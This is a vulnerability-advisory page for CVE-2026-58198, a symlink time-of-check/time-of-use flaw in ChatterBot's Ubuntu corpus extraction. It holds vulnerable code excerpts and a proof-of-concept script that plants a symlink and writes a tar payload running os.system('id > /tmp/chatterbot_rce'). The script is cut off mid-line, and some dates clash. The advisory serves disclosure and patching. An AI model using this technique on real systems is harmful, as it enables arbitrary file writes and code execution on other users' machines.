🛡️ CVE-2026-58198 — chatterbot

🟡 CVSS 5.5 — Medium ✅ No Known Exploit CWE-367 NVD
5.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

ChatterBot: Symlink-Following Arbitrary Write via UbuntuCorpusTrainer

Summary

ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.

The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.

Vulnerability Details

Predictable output directory (line 535-546)

```python

home_directory = os.path.expanduser('~')

self.data_directory = kwargs.get(

'ubuntu_corpus_data_directory',

os.path.join(home_directory, 'ubuntu_data') # ~/ubuntu_data — predictable

)

self.data_path = os.path.join(

self.data_directory, 'ubuntu_dialogs' # ~/ubuntu_data/ubuntu_dialogs

)

```

Check-then-create (line 621-622)

```python

def extract(self, file_path: str):

if not os.path.exists(self.data_path): # ← follows symlink → True → skips makedirs

os.makedirs(self.data_path) # ← never reached if symlink exists

```

Extraction through symlink (line 633-644)

```python

def safe_extract(tar, path='.', members=None, *, numeric_owner=False):

for member in tar.getmembers():

member_path = os.path.join(path, member.name)

if not is_within_directory(path, member_path): # ← validates MEMBER names only

raise Exception('Attempted Path Traversal in Tar File')

tar.extractall(path, members, numeric_owner=numeric_owner) # ← path is symlink → writes to target

safe_extract(tar, path=self.data_path, ...) # self.data_path = symlink → attacker dir

```

safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.

Proof of Concept

Environment

| Component | Detail |

|-----------|--------|

| chatterbot | 1.2.13 (pip install) |

| Python | 3.11.0 |

Exploit

```python

import os

import shutil

import sys

import tempfile

from pathlib import Path

from unittest.mock import patch

from chatterbot.trainers import UbuntuCorpusTrainer

ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))

def main():

test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))

data_dir = test_base / "ubuntu_data"

data_path = data_dir / "ubuntu_dialogs"

data_dir.mkdir(parents=True, exist_ok=True)

os.symlink(str(ATTACKER_TARGET), str(data_path))

print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")

exists_check = os.path.exists(data_path)

print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")

import tarfile

import io

tar_path = test_base / "corpus.tar.gz"

with tarfile.open(str(tar_path), "w:gz") as tf:

info = tarfile.TarInfo(name="dialog_001.tsv")

payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"

info.size = len(payload)

tf.addfile(info, io.BytesIO(payload))

info2 = tarfile.TarInfo(name="config.py")

rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"

info2.size = len(rce)

tf.addfile(info2, io.BytesIO(rce))

if not os.path.exists(data_path):

os.makedirs(data_path)

def is_within_directory(directory, target):

abs_directory = os.path.abspath(directory)

abs_target = os.path.abspath(target)

prefix = os.path.commonprefix([abs_directory, abs_target])

return prefix == abs_directory

with tarfile.open(str(tar_path), "r:gz") as tar:

for member in tar.getmembers():

member_path = os.path.join(str(data_path), member.name)

if not is_within_directory(str(data_path), member_path):

raise Exception("Attempted Path Traversal in Tar File")

tar.extractall(str(data_path))

print(f"[3] extractall(data_path) — data_path is symlink, writes to target")

# Verify

files = list(ATTACKER_TARGET.iterdir())

if files:

print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")

for f in sorted(files):

print(f" {f.name}: {f.read_text().strip()[:60]}")

else:

print("[-] Failed")

shutil.rmtree(str(test_base), ignore_errors=True)

shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)

sys.exit(1)

shutil.rmtree(str(

How this vulnerability can be exploited

This issue can be reached with local access to the system, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity none, availability none.

Weakness class

CVE-2026-58198 is classified as CWE-367: Time-of-check Time-of-use Race Condition. The state checked and the state acted upon can differ, because it may change between the two steps.

Affected software

CVE-2026-58198 is recorded against 2 packages.

  • chatterbot (fixed in 1.2.14)
  • unknown

Timeline and source

Published on 19 June 2026 and last revised on 10 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Package)

Details

Severity Medium
CVSS Score 5.5
CVSS Vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CWE CWE-367
Public Exploit ✅ No
Source NVD
Published 2026-06-19
Updated 2026-08-12
Modified 2026-07-10
Fix URL N/A

Affected Packages

Software From version Fixed in
chatterbot 1.2.14
unknown

Similar Threats

Vulnerability Monitoring

Track new vulnerabilities in chatterbot

CVE-2026-58198 is rated CVSS 5.5 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.

Set Up Free Alerts →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.